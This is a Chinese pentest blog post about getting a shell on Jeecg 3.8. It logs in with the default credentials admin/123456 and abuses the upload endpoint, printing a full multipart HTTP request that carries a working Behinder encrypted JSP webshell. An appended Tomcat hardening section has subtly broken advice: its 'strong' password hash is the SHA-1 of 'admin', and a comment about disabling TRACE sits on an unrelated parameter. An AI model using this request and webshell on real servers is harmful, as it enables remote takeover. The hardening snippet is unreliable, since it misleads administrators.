Jeecg弱口令后台上传getShell渗透测试

Jeecg是一款基于代码生成器的智能开发平台。本文揭示了其3.8版本中存在的安全漏洞,包括通过弱口令登录后利用特定URL进行文件上传攻击的方法,并提供了一个PoC示例。此外,还提出了修改默认密码和限制文件上传类型的修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

Jeecg(J2EE Code Generation)是一款基于代码生成器JEE的智能开发平台。引领新的开发模式(Online Coding->代码生成器->手工MERGE智能开发),可以帮助解决Java项目90%的重复工作,让开发更多关注业务逻辑。既能快速提高开发效率,帮助公司节省人力成本,同时又不失灵活性。

影响版本

jeecg v_3.8

漏洞复现

1.使用弱口令登录系统 admin/123456

2.进入后台后访问url 上传文件(绕过)

/jeecgFormDemoController.do?commonUpload

3.拦截修改文件名后发送,查看响应返回了上传的jsp路径

poc

POST /cgUploadController.do?ajaxSaveFile&sessionId=55F38FB8EA964ABD8CB45203CACB5419 HTTP/1.1
Host: xxxx
Content-Length: 1064
Origin: http://xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----------gL6ae0GI3gL6KM7cH2GI3Ij5Ef1cH2
Accept: */*
X-Requested-With: ShockwaveFlash/34.0.0.164
Referer: http://xxxx/systemController.do?commonUpload&_=1625019692746
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JEECGINDEXSTYLE=hplus; JSESSIONID=55F38FB8EA964ABD8CB45203CACB5419; ZINDEXNUMBER=2040
Connection: close

------------gL6ae0GI3gL6KM7cH2GI3Ij5Ef1cH2
Content-Disposition: form-data; name="Filename"

bingxie.jsp.jpg
------------gL6ae0GI3gL6KM7cH2GI3Ij5Ef1cH2
Content-Disposition: form-data; name="documentTitle"

blank
------------gL6ae0GI3gL6KM7cH2GI3Ij5Ef1cH2
Content-Disposition: form-data; name="Filedata"; filename="bingxie.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------------gL6ae0GI3gL6KM7cH2GI3Ij5Ef1cH2
Content-Disposition: form-data; name="Upload"

Submit Query
------------gL6ae0GI3gL6KM7cH2GI3Ij5Ef1cH2--

4.使用冰蝎连接

修复建议

修改弱口令 升级版本 限制上传类型

注意:本文仅供学习参考,非法传播及使用产生的后果自行承担,与本文作者无关

欢迎讨论,持续更新中,感谢关注!

### Tomcat 8弱口令漏洞及其防护措施 对于Tomcat 8中存在的弱口令问题,这可能导致未经授权的用户获取管理权限并执行恶意操作。为了防止这种情况发生,建议采取一系列的安全配置来增强系统的安全性。 #### 配置强密码策略 设置复杂的管理员账户密码非常重要。应启用Tomcat Manager应用中的身份验证机制,并确保所使用的用户名和密码遵循复杂度要求,比如长度至少为8个字符以上,包含大小写字母、数字及特殊符号等[^1]。 ```xml <tomcat-users> <role rolename="manager-gui"/> <user username="admin" password="{SHA}d033e22ae348aeb5660fc2140aec35850c4da997" roles="manager-gui"/> </tomcat-users> ``` 上述XML片段展示了如何定义具有更强哈希算法保护(如SHA)的用户凭证。请注意,在实际部署环境中应当替换掉示例中的`username`和`password`字段值以适应具体需求。 #### 禁止未授权访问Manager App 默认情况下,任何能够猜测到URL路径的人都可以尝试登录Tomcat Manager应用程序。因此,除了加强认证外还需要限制哪些IP地址允许连接此接口: 编辑`${CATALINA_HOME}/webapps/manager/META-INF/context.xml`文件加入如下内容: ```xml <Context antiResourceLocking="false" privileged="true"> <!-- Only allow localhost to access the manager application --> <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" /> </Context> ``` 这段代码会阻止除本地主机之外的所有设备直接请求Manager页面,从而减少了潜在攻击面。 #### 关闭不必要的HTTP方法支持 针对通过GET方式非法进入后台的问题,可以通过调整Web服务器的行为模式加以解决——即禁用某些不安全的操作命令。修改全局配置文件 `${CATALINA_BASE}/conf/web.xml` 中关于<servlet>标签内的部分参数即可实现这一目标: ```xml <!-- Disable TRACE HTTP method globally across all web applications --> <servlet> ... <init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param> ... </servlet> <!-- Remove unnecessary methods like PUT, DELETE etc., from being processed by default servlet --> <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <security-constraint> <web-resource-collection> <web-resource-name>Disable Trace</web-resource-name> <url-pattern>/</url-pattern> <http-method>TRACE</http-method> </web-resource-collection> <auth-constraint/> </security-constraint> ``` 这些更改将有效地屏蔽那些可能被利用发起跨站跟踪(CST)攻击或其他形式威胁的方法调用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值